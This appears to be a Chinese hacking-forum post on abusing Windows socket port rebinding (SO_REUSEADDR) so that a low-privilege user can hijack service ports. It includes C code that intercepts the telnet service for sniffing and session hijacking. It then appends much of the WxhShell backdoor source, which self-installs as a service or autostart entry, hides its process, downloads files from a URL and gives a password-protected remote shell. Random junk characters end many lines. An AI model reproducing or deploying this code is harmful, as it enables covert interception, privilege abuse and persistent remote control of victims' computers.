社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19143阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }4Lv-9s,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '=@O]7o~  
]i\D*,FfU  
  saddr.sin_family = AF_INET; {AqN@i  
K9}ppgL'$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -]\%a=]  
\?h +  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |h(!CFR  
;JA2n\iP,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Fs<kMT  
Bm"jf]  
  这意味着什么?意味着可以进行如下的攻击: k&ujr:)5Y5  
Skl1%`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $zbm!._~DA  
}m/aigA[1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;%odN d  
7*d}6\ %  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P~iu|j  
q .nsGbl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8(q4D K\5u  
lQ!ukl)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  gvYa&N  
a*6x^R;)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )-#%  
TZi%,yK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /A[AHJ<[?  
~HI|t2C  
  #include .?CDWbzq  
  #include -4Zf0r1u  
  #include qbu Lcy3  
  #include    8b !&TP~m1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CspY+%3$  
  int main() ?Q wDV`  
  { "d/x`Dx  
  WORD wVersionRequested; 0wB ?U~  
  DWORD ret; G<9MbMG  
  WSADATA wsaData; 0!o&=Qh  
  BOOL val; +dS e" W9  
  SOCKADDR_IN saddr; /@lXQM9 T  
  SOCKADDR_IN scaddr; x&+/da-E/5  
  int err; zGj0'!!-  
  SOCKET s; B-|:l 7  
  SOCKET sc; >e($T!}Z  
  int caddsize; Tf Q(f?  
  HANDLE mt; ;VeC(^-eh6  
  DWORD tid;   }I}RqD:`  
  wVersionRequested = MAKEWORD( 2, 2 ); bk}.^m!  
  err = WSAStartup( wVersionRequested, &wsaData ); 3%|LMX]M5_  
  if ( err != 0 ) { UMpC2)5  
  printf("error!WSAStartup failed!\n"); XWo:~\  
  return -1; ;XSV}eLu  
  } A &~G  
  saddr.sin_family = AF_INET; Q*ZqY  
   l131^48U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 epJVs0W  
ce.'STm=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SWY?0Pu  
  saddr.sin_port = htons(23); R#`hT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ha1 J^e  
  { b|u4h9  
  printf("error!socket failed!\n"); D!Owm&We  
  return -1; CSRcTxH  
  } *$Aneq0f  
  val = TRUE; j0>S)Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 I5wf|wB-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _]E"hr6a  
  { 7C9qkQ Jqn  
  printf("error!setsockopt failed!\n"); 8O qG{jmG  
  return -1; eY"y[  
  } 3:&!Q*i;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; t~)w921>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )Uw QsP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k]u0US9/  
?9mFI(r~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &"BmCDOq  
  { ) 2wof(  
  ret=GetLastError(); UtIwrR[  
  printf("error!bind failed!\n"); 1u:OzyJy  
  return -1; 8iB1a6TlL  
  } eG72=l)Mz  
  listen(s,2); yd]W',c  
  while(1) f]^(|*6  
  { lj/ ?P9  
  caddsize = sizeof(scaddr); cR[)[9}  
  //接受连接请求  e-sMU  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?5K.#>{  
  if(sc!=INVALID_SOCKET) tbJB0T|G  
  { Wo&MHMP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;+>-uPT/1  
  if(mt==NULL) |eAl!k  
  { L7el5Q!Y=  
  printf("Thread Creat Failed!\n"); A7>0Pn%D3  
  break; t/yGMR=  
  } )}\jbh>RH  
  } IFlDw}M!9  
  CloseHandle(mt); Z Mids"Xdf  
  } }\|$8~  
  closesocket(s); Ytmt+9  
  WSACleanup(); 9n]z h-  
  return 0; h`-aO u  
  }   fLA!oeq{&}  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~b+4rYNxU_  
  { s+YQ :>F  
  SOCKET ss = (SOCKET)lpParam; 5&D)W>{d  
  SOCKET sc; v T2YX5k&,  
  unsigned char buf[4096]; }i!hzkK#  
  SOCKADDR_IN saddr; dX-{75o5P  
  long num; ;Xk-hhR  
  DWORD val; L#Uk=  
  DWORD ret; S75wtz)e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &Ey5 H?U!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h-+9Bv]  
  saddr.sin_family = AF_INET; 1q0DOf]!T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5, R\tJCK  
  saddr.sin_port = htons(23); ;:,hdFap  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IeLG/ fB  
  { !(~eeE}|lM  
  printf("error!socket failed!\n"); 7tP?([o%F  
  return -1; 58\Rl  
  } <e-9We."  
  val = 100; kA1]o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yoGe^gar  
  { lM`M70~  
  ret = GetLastError(); HhDiGzOSi  
  return -1; 6S)$wj*w  
  } `CA-s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C&YJvMu  
  { ~CIA6&  
  ret = GetLastError(); -CtLL _I  
  return -1; @]P#]%^D2  
  } u&yAMWl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :IlRn`9X`  
  { {R%v4#nk  
  printf("error!socket connect failed!\n"); 6SI`c+'@5  
  closesocket(sc); ,~u5SR  
  closesocket(ss); Q]]}8l2  
  return -1; <^q4^Q[  
  } " 2A`M~  
  while(1) A:PQIcR;V  
  { j hf%ze  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f1w&D ]|S+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FDBj<uXfM|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]Q1?Ox:'  
  num = recv(ss,buf,4096,0); BOClMeA4  
  if(num>0) 1Z%^U ?  
  send(sc,buf,num,0); z(b0U6)qQ  
  else if(num==0) 0t[|3A~Q  
  break; DuX7  
  num = recv(sc,buf,4096,0); T9w;4XF  
  if(num>0) cdiDfiE  
  send(ss,buf,num,0); !iUFD*~r~  
  else if(num==0) %\Dvng6$  
  break; h&@ A'om~  
  } hG51jVYtw  
  closesocket(ss); )7!q>^S{ B  
  closesocket(sc); I/4:SNha  
  return 0 ; ?.Mw  
  } uqe{F+;8&  
DP{kin"4I  
'-C%?*ku  
==========================================================  Age  
=)_9GO  
下边附上一个代码,,WXhSHELL WqQAt{W/<  
^ [FK<9  
========================================================== 1./ uJB/  
ffyDi1Q  
#include "stdafx.h" vEQw`OC  
fLkZ'~e!  
#include <stdio.h> pFE&`T@ <  
#include <string.h> {l/j?1Dxq  
#include <windows.h> u\-WArntc  
#include <winsock2.h> #._%~}U  
#include <winsvc.h> tFlLKziU  
#include <urlmon.h> v C,53g  
Rdb[{Ruxb  
#pragma comment (lib, "Ws2_32.lib") Cg{V"B:  
#pragma comment (lib, "urlmon.lib") )@lZ~01~d  
'Mp8!9=&  
#define MAX_USER   100 // 最大客户端连接数 ((KNOa5  
#define BUF_SOCK   200 // sock buffer j"G1D-S:  
#define KEY_BUFF   255 // 输入 buffer dL{zU4iUR  
"rxhS; R1>  
#define REBOOT     0   // 重启 +5:Dy,F =  
#define SHUTDOWN   1   // 关机 %DyukUJ  
poLzgd  
#define DEF_PORT   5000 // 监听端口 +=.>9  
,Sz`$'^c  
#define REG_LEN     16   // 注册表键长度 b!(ew`Y;  
#define SVC_LEN     80   // NT服务名长度 Std?p{ i  
kH;DAphk  
// 从dll定义API Ug :3)q[O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h?t#ABsVK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M1nH!A~o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); B=<>OYH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F+ ,eJ/]  
0%x"Va~"z  
// wxhshell配置信息 ^a>3U l{  
struct WSCFG { n8h1S lK08  
  int ws_port;         // 监听端口 8{0=tOXx{  
  char ws_passstr[REG_LEN]; // 口令 *??!~RE  
  int ws_autoins;       // 安装标记, 1=yes 0=no =7^rKrD  
  char ws_regname[REG_LEN]; // 注册表键名 6_UCRo5h%  
  char ws_svcname[REG_LEN]; // 服务名 ] o!r K<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XK*55W &og  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m-xnbTcQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /#<R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^|^ywgK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9F~e^v]zp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9_=0:GH k  
JD\yl[ac%  
}; )GT*HJR(vc  
egXHp<bqw  
// default Wxhshell configuration g?7I7W~?`  
struct WSCFG wscfg={DEF_PORT, n'?AZ4&z  
    "xuhuanlingzhe", \*a7o GyH>  
    1, Gt4/ax:A@  
    "Wxhshell", %w$\v"^_Y  
    "Wxhshell", w}20l F  
            "WxhShell Service", {th=MldJ?  
    "Wrsky Windows CmdShell Service", ^uWPbW&/q  
    "Please Input Your Password: ", k?bIu  
  1, KF.O>c87&  
  "http://www.wrsky.com/wxhshell.exe", {/)q=  
  "Wxhshell.exe" \X*Es.;|x  
    }; B|f =hlY  
^y,Ex;6o  
// 消息定义模块 I>bO<T`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U}yq*$N  
char *msg_ws_prompt="\n\r? for help\n\r#>";  =8o$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yjF;%A/0  
char *msg_ws_ext="\n\rExit."; CD! Aa  
char *msg_ws_end="\n\rQuit."; _\2Ae\&c  
char *msg_ws_boot="\n\rReboot..."; jW8,}Xs  
char *msg_ws_poff="\n\rShutdown..."; < NRnE8:  
char *msg_ws_down="\n\rSave to "; !=3Ce3-  
6*aU^#Hz6  
char *msg_ws_err="\n\rErr!"; YAdk3y~pL  
char *msg_ws_ok="\n\rOK!"; {}n]\zO %  
>iV2>o_  
char ExeFile[MAX_PATH]; GXnrVI  
int nUser = 0; IDY2X+C#U  
HANDLE handles[MAX_USER]; {i^F4A@=Z  
int OsIsNt; S{Q2KD  
 5(\H:g\z  
SERVICE_STATUS       serviceStatus; w paI}H#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ql1J?9W  
"!B\c9q  
// 函数声明 n~Yr`5+Z  
int Install(void); rJM/.;Ag  
int Uninstall(void); KU=+ 1,Jf  
int DownloadFile(char *sURL, SOCKET wsh); )z_5I (?&  
int Boot(int flag); ~(;HkT  
void HideProc(void); . #FJM2Xk  
int GetOsVer(void); 3Fg{?C_l  
int Wxhshell(SOCKET wsl); *}'3|e4w}  
void TalkWithClient(void *cs); tch;_7?  
int CmdShell(SOCKET sock); edL sn>\*#  
int StartFromService(void); pV(qan,  
int StartWxhshell(LPSTR lpCmdLine); v&)G~cz  
0F%/R^mw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y D,<]q%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B; ^1W{%J  
.O&[9`"'  
// 数据结构和表定义 4[ *G  
SERVICE_TABLE_ENTRY DispatchTable[] = MAc jWb~ f  
{ s>I~%+V.?:  
{wscfg.ws_svcname, NTServiceMain}, =X;h _GQ  
{NULL, NULL} GD1L6kVd1  
}; )E*-  
Rr0]~2R  
// 自我安装 aQj"FUL  
int Install(void) 8 +mW  
{ "#.L\p{Zy  
  char svExeFile[MAX_PATH]; tRbZX{  
  HKEY key; F*J bTEOn  
  strcpy(svExeFile,ExeFile); \HL66%b[  
2<E@f0BVAy  
// 如果是win9x系统,修改注册表设为自启动 ()ww9L2  
if(!OsIsNt) { (7C$'T-ZK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]$!7;P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s_P[lbHt.  
  RegCloseKey(key); s{:Thgv,9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6Z5$cR_vC7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~g}blv0q+B  
  RegCloseKey(key); ^[VEr"X  
  return 0; zbJ}@V  
    } XPLm`Q|1#t  
  } e> Dux  
} XCT3:db  
else { *rVI[k L  
&MBm1T|Y  
// 如果是NT以上系统,安装为系统服务 epI~w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U45-R -  
if (schSCManager!=0) } x Kv N  
{ w{riXOjS4  
  SC_HANDLE schService = CreateService +hcJ!$J7  
  ( a1x].{  
  schSCManager, \[ W`hhJ  
  wscfg.ws_svcname, Ym#io]  
  wscfg.ws_svcdisp, zVis"g`  
  SERVICE_ALL_ACCESS, ypNeTR$4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y\:,.cZ+TQ  
  SERVICE_AUTO_START, .*?)L3n+t  
  SERVICE_ERROR_NORMAL, E)]emeG d  
  svExeFile, \==Mgy2J8  
  NULL, c^R "g)gr  
  NULL, Uv(}x 7e)  
  NULL, GS*_m4.Ry6  
  NULL, u4xJ-Vu  
  NULL _)~|Z~  
  ); _zLEHEZ-  
  if (schService!=0) ?sxf_0*  
  { +!t *LSF  
  CloseServiceHandle(schService); 3*R(&O6}  
  CloseServiceHandle(schSCManager); xOZvQ\%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &<) _7?  
  strcat(svExeFile,wscfg.ws_svcname); )+.AgqxI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V/)3d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Lve$H(GHT  
  RegCloseKey(key); oTA'=<W?D  
  return 0; ?h8/\~Dw  
    } z.W1Za  
  } vIFx'S~D  
  CloseServiceHandle(schSCManager); YGi_7fTyc=  
} {9hhfI#3_  
} M<@9di7c  
HPK}Z|Vl  
return 1; )EG-xo@X  
} ^fM=|.?  
eoPoG C  
// 自我卸载 _K~?{".  
int Uninstall(void) 'v@1_HHW\  
{ 5a* Awv}  
  HKEY key; 6uFGq)4p@  
* =O@D2g0  
if(!OsIsNt) { ,=P0rbtK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _xdttO^N  
  RegDeleteValue(key,wscfg.ws_regname); bre6SP@  
  RegCloseKey(key); _"'-f l98*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m>b i$Y  
  RegDeleteValue(key,wscfg.ws_regname); 98WJ"f_ #  
  RegCloseKey(key); gOk^("@  
  return 0; y)Lyo'`  
  } /zV0kW>N  
} %;G!gJeE  
} iainl@3Qj  
else { i4 tW8 Il  
m$$98N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3K_!:[  
if (schSCManager!=0) ..^,*  
{ c>Ljv('bj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fGLOXbsA  
  if (schService!=0) 5{6ebq55"  
  {  Ia)^  
  if(DeleteService(schService)!=0) { k?=V?JWY  
  CloseServiceHandle(schService); ?Qs>L~  
  CloseServiceHandle(schSCManager); 9a_(_g>S  
  return 0; k4nA+k<WI`  
  } [h2V9>4:  
  CloseServiceHandle(schService); jfrUOl'l  
  } "i*Gi \U  
  CloseServiceHandle(schSCManager); |m7`:~ow  
} xE.=\UzJ  
} c[0$8F>  
5 *>3(U  
return 1;   s/'gl  
} Ljxn}):[  
I!Za2?  
// 从指定url下载文件 h Tn^:%(  
int DownloadFile(char *sURL, SOCKET wsh) f:g<Bz=u)*  
{ ]QU52R@M  
  HRESULT hr; JGD{cr[S  
char seps[]= "/"; efP2 C\  
char *token; ,K6]Q|U@r  
char *file; +=@Z5eu  
char myURL[MAX_PATH]; ?8 C+wW  
char myFILE[MAX_PATH]; ig/716r|  
V2]S{!p}k  
strcpy(myURL,sURL); 7\U1K^q  
  token=strtok(myURL,seps); @]#+`pZ4A  
  while(token!=NULL) hOMFDfhU  
  { emS+%6U  
    file=token; T[q-$8U  
  token=strtok(NULL,seps); +;[`fSi  
  } "x$S%:p  
gkk< -j'  
GetCurrentDirectory(MAX_PATH,myFILE); .Um%6a-  
strcat(myFILE, "\\"); Pe wPl0  
strcat(myFILE, file); @7^#_772  
  send(wsh,myFILE,strlen(myFILE),0); c[y=K)<Z  
send(wsh,"...",3,0); }\ DQxHG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4+ k:j=x  
  if(hr==S_OK) $=m17GD  
return 0; MthThsr7  
else u\.sS|$  
return 1; {M~!?# <K  
<7] z'  
} ycAQPz}=I  
0~1P&Qs<  
// 系统电源模块 P/PS(`  
int Boot(int flag) tl^[MLQa  
{ dw4)4_  
  HANDLE hToken; Y) t}%62  
  TOKEN_PRIVILEGES tkp; TQ2Tt "  
gwYd4  
  if(OsIsNt) { 5~"=Fm<uD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v/haUPWF\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hW+Dko(s  
    tkp.PrivilegeCount = 1; zn~m;0Xi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vZDQ@\HrC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j{Fo 6##  
if(flag==REBOOT) { N+V-V-PVk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Le'\x`B  
  return 0; ;hZ@C!S:  
} )yK!qu  
else { ]1[;A$7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f\^QV  
  return 0; UiEB?X]-l'  
} Mvh_>-i  
  } yEny2q}  
  else { QaO`:wJj  
if(flag==REBOOT) { t}FMBG o[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o%5bg(  
  return 0; .2P?1HpK  
} 7| T:TbY>  
else { ;~bn@T-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I{PN6bn{>  
  return 0; 31C]TdJ  
} D.6dPzu`  
} y {]%,  
yBj)#m5!  
return 1; GXRjR\Ch  
} Em;b,x*U  
#c>MUC(?s:  
// win9x进程隐藏模块 iPOZ{'Z  
void HideProc(void) -!cAr <  
{ J4g;~#_19  
}(K6 YL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pQY>  
  if ( hKernel != NULL ) wVOL7vh  
  { .[fz x`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JY+[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1znV>PO!  
    FreeLibrary(hKernel); 03o3[g?  
  } N0[I2'^.  
c1J)yv1y  
return; YoJ'=z,e  
} B,833Azi  
8!GLw-kb  
// 获取操作系统版本 %},G(>  
int GetOsVer(void) }YP7x|  
{ Zbh]O CN  
  OSVERSIONINFO winfo; O97bgj]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YnWl'{[ C  
  GetVersionEx(&winfo); 0Zh _Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ON0+:`3\  
  return 1; ';, Bn9rv  
  else Z3>xpw G  
  return 0; 1cBhcYv"  
} `;CU[Ps?]  
je4&'vyU  
// 客户端句柄模块 o}+Uy  
int Wxhshell(SOCKET wsl) #L:P R>  
{ U/!&KsnT  
  SOCKET wsh; KR(} A"  
  struct sockaddr_in client; t} i97;  
  DWORD myID; `L#?eQ{  
m%c0#=D  
  while(nUser<MAX_USER) F ssEs!#  
{ @) ZO$h  
  int nSize=sizeof(client); ,Kf8T9z`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 36x:(-GFq  
  if(wsh==INVALID_SOCKET) return 1; ^;$a_$ |  
p <=%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hdtnC29$  
if(handles[nUser]==0) ;c- ]bhBB  
  closesocket(wsh); ioNa~F&  
else YB B$uGA  
  nUser++; p?$G>nkdq  
  } uy _i{Y|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MJKl]&  
cia-OVX  
  return 0; plx/}ah8  
} 04guud }  
?QSx8d  
// 关闭 socket 4^[}]'w  
void CloseIt(SOCKET wsh) " Z2Tc)  
{ 3$N %iE6  
closesocket(wsh); 9;]wF8h  
nUser--; Wda\a.bXT  
ExitThread(0); 5`"*y iv  
} ]\RSHz  
)'!ml  
// 客户端请求句柄 dmaqXsU8q  
void TalkWithClient(void *cs) XK%W^a*x  
{ 9R@abm,I  
i6F:C &.  
  SOCKET wsh=(SOCKET)cs; &#-|Yh/  
  char pwd[SVC_LEN]; jj3Pf>D+k  
  char cmd[KEY_BUFF]; &*aer5?`  
char chr[1]; "VDk1YX_&l  
int i,j; VPM|Rj:d  
V Z2.w4b  
  while (nUser < MAX_USER) { 0Q$~k  
Q)G!Y (g\  
if(wscfg.ws_passstr) { dqD;y#/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mNx,L+ 3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U+.PuC[3  
  //ZeroMemory(pwd,KEY_BUFF); L{2b0Zh'  
      i=0; |I}A> XG  
  while(i<SVC_LEN) { K}PvrcO1  
9 V=<| 2  
  // 设置超时 m|[\F#+C  
  fd_set FdRead; p;qRm} 0}  
  struct timeval TimeOut; (Bt;DM#>  
  FD_ZERO(&FdRead); N b3I%r  
  FD_SET(wsh,&FdRead); GB<R7 J  
  TimeOut.tv_sec=8; PyC;f8n'(  
  TimeOut.tv_usec=0; _8[UtZYG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); iN<(O7B;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +R "AA_A?  
U_ x0KIm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m\6SG' X  
  pwd=chr[0]; 0NQ7#A  
  if(chr[0]==0xd || chr[0]==0xa) { =MTj4VXh"  
  pwd=0; e1%rVQ(v  
  break; <G\ <QV8W  
  } 5mI?pfm  
  i++; |`w$|pm=  
    } nU} ~I)@V  
@+?+6sS  
  // 如果是非法用户,关闭 socket v[R_S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I:F'S#  
} Az U|p  
[#7y[<.P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CxJfrI_W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LKqRvPnh  
n&_YYEHx  
while(1) { t-!Rgg$9  
gWFL  
  ZeroMemory(cmd,KEY_BUFF); HR[Q ?rg  
UG6M9  
      // 自动支持客户端 telnet标准   .=Pm>o/,  
  j=0; B^Xy0fq  
  while(j<KEY_BUFF) { 8]My k>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5\VxXiy 0  
  cmd[j]=chr[0]; 8dc538:q}  
  if(chr[0]==0xa || chr[0]==0xd) { "3@KRb4f  
  cmd[j]=0; b![t6-f^z  
  break; Qn *6D  
  } v-ThdE$G#  
  j++; +d=~LQ}*  
    } :OHSxb>[  
!loO%3_)  
  // 下载文件 bKYY{V55  
  if(strstr(cmd,"http://")) { `Gf{z%/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f](I.lm:  
  if(DownloadFile(cmd,wsh)) GXO4x|08F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l#Yx TY  
  else h:f;mn?x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m6-76ma,hi  
  } %=BtOM_2  
  else { 9 >%+bA(  
zgK;4 22$m  
    switch(cmd[0]) { hPcS, p{%  
  [4Y[?)7  
  // 帮助 XHy ?  
  case '?': { kr#I{gF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [1<(VyJ}ye  
    break; 0k%hY{  
  } D{>\-]\  
  // 安装 Hv3W{|  
  case 'i': { ?<E0zM+  
    if(Install()) am2a#4`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O5O.><RP  
    else Oohq9f#!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); au}s=ua~i  
    break; +Jdm #n?_  
    } p(.N(c  
  // 卸载 o,J^ e_  
  case 'r': { o'96ON0  
    if(Uninstall()) uNy!< u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8|6~o.B.G  
    else |<1M&\oaQ'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >zFD $  
    break; `&H04x"Y$>  
    } 5E`JD  
  // 显示 wxhshell 所在路径 iyc$)"w  
  case 'p': { nW11wtiO.  
    char svExeFile[MAX_PATH]; l:)S 3  
    strcpy(svExeFile,"\n\r"); O~atNrHD  
      strcat(svExeFile,ExeFile); >4~#%&  
        send(wsh,svExeFile,strlen(svExeFile),0); w]}f6VlEl  
    break; } YRO'Q{  
    } 'aZAS Pn[  
  // 重启 [EER4@_  
  case 'b': { ^iuo^2+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nn'Af,ko/  
    if(Boot(REBOOT)) a}dw9wU!:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jccOsG9;_  
    else { V,m3-=q  
